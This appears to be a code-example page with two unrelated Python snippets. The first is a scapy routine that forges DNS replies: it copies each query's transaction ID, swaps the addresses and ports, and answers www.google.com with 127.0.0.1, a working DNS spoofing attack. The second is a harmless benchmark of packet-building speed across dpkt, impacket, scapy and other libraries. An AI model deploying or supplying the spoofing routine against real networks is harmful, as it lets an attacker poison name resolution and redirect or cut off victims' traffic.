Beispiel #1
0
def procPacket(p):
    #Lets grab the source mac and dst mac
    eth_layer = p.getlayer(scapy.Ether)
    src_mac = eth_layer.src
    dst_mac = eth_layer.dst

    #Now on to grabbing the src IP and dst IP
    ip_layer = p.getlayer(scapy.IP)
    src_ip = ip_layer.src
    dst_ip = ip_layer.dst

    #Woot..UDP Layer
    udp_layer = p.getlayer(scapy.UDP)
    src_port = udp_layer.sport
    dst_port = udp_layer.dport

    #And finally..the DNS layer
    dns_layer = p.getlayer(scapy.DNS)
    d = scapy.DNS()
    d.id = dns_layer.id  #Transaction ID
    d.qr = 1  #1 for Response
    d.opcode = 16
    d.aa = 0
    d.tc = 0
    d.rd = 0
    d.ra = 1
    d.z = 8
    d.rcode = 0
    d.qdcount = 1  #Question Count
    d.ancount = 1  #Answer Count
    d.nscount = 0  #No Name server info
    d.arcount = 0  #No additional records
    d.qd = str(dns_layer.qd)
    d.an = scapy.DNSRR(rrname="www.google.com.",
                       ttl=330,
                       type="A",
                       rclass="IN",
                       rdata="127.0.0.1")

    #Send the spoofed packet away!
    #Don't forget to switch stuffs lawl
    spoofed = scapy.Ether(src=dst_mac, dst=src_mac) / scapy.IP(
        src=dst_ip, dst=src_ip) / scapy.UDP(sport=dst_port, dport=src_port) / d

    #Off we go!
    scapy.sendp(spoofed, iface_hint=src_ip)
Beispiel #2
0
def compare_create(cnt):
    """
dpkt: 14915.2445937 pps
dpkt (manual): 15494.3632903 pps
impacket: 3929.30572776 pps
openbsd.packet: 1503.7928579 pps
scapy: 348.449269721 pps
xstruct: 88314.8953732 pps
"""
    src = dnet.addr('1.2.3.4').ip
    dst = dnet.addr('5.6.7.8').ip
    data = 'hello world'

    start = time.time()
    for i in range(cnt):
        dnet.ip_checksum(
            str(
                dpkt.ip.IP(src=src,
                           dst=dst,
                           p=dnet.IP_PROTO_UDP,
                           len=dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN + len(data),
                           data=dpkt.udp.UDP(sport=111,
                                             dport=222,
                                             ulen=dnet.UDP_HDR_LEN + len(data),
                                             data=data))))
    print('dpkt:', cnt / (time.time() - start), 'pps')

    start = time.time()
    for i in range(cnt):
        dnet.ip_checksum(
            str(
                dpkt.ip.IP(src=src,
                           dst=dst,
                           p=dnet.IP_PROTO_UDP,
                           len=dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN +
                           len(data))) +
            str(
                dpkt.udp.UDP(
                    sport=111, dport=222, ulen=dnet.UDP_HDR_LEN + len(data))) +
            data)
    print('dpkt (manual):', cnt / (time.time() - start), 'pps')

    start = time.time()
    for i in range(cnt):
        ip = ImpactPacket.IP()
        ip.set_ip_src('1.2.3.4')
        ip.set_ip_dst('5.6.7.8')
        udp = ImpactPacket.UDP()
        udp.set_uh_sport(111)
        udp.set_uh_dport(222)
        udp.contains(ImpactPacket.Data(data))
        ip.contains(udp)
        ip.get_packet()
    print('impacket:', cnt / (time.time() - start), 'pps')

    start = time.time()
    for i in range(cnt):
        p = packet.createPacket(packet.IP, packet.UDP)
        p['ip'].src = '1.2.3.4'
        p['ip'].dst = '5.6.7.8'
        p['udp'].sport = 111
        p['udp'].dport = 22
        p['udp'].payload = data
        p.finalise()
        p.getRaw()
    print('openbsd.packet:', cnt / (time.time() - start), 'pps')

    start = time.time()
    for i in range(cnt):
        ip = scapy.IP(src='1.2.3.4', dst='5.6.7.8') / \
             scapy.UDP(sport=111, dport=222) / data
        ip.build()
    print('scapy:', cnt / (time.time() - start), 'pps')

    start = time.time()
    for i in range(cnt):
        udp = xudp()
        udp.sport = 111
        udp.dport = 222
        udp.ulen = dnet.UDP_HDR_LEN + len(data)
        ip = xip()
        ip.src = src
        ip.dst = dst
        ip.p = dnet.IP_PROTO_UDP
        ip.len = dnet.IP_HDR_LEN + udp.ulen
        dnet.ip_checksum(str(ip) + str(udp) + data)
    print('xstruct:', cnt / (time.time() - start), 'pps')